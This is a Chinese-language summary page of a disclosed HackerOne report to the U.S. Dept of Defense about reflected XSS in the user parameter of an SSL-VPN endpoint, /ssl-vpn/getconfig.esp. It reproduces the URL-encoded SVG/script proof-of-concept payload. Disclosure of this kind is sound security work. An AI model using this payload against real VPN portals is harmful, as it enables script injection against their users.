Reflected XSS via user Parameter in /ssl-vpn/getconfig.esp
该报告还没有中文解读。
原文摘录
摘自原文（1854 字符中的一小部分）
**Description:** A reflected Cross-Site Scripting (XSS) vulnerability was discovered in the user parameter of the endpoint /ssl-vpn/getconfig.esp on █████. This allows an attacker to inject and execute arbitrary JavaScript in a user’s browser by tricking them into clicking a specially crafted URL.
原文中的代码
███████&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt(%22XSS%22)%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 U.S. Dept Of Defense 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @aramx4 · 版权归作者与 U.S. Dept Of Defense 所有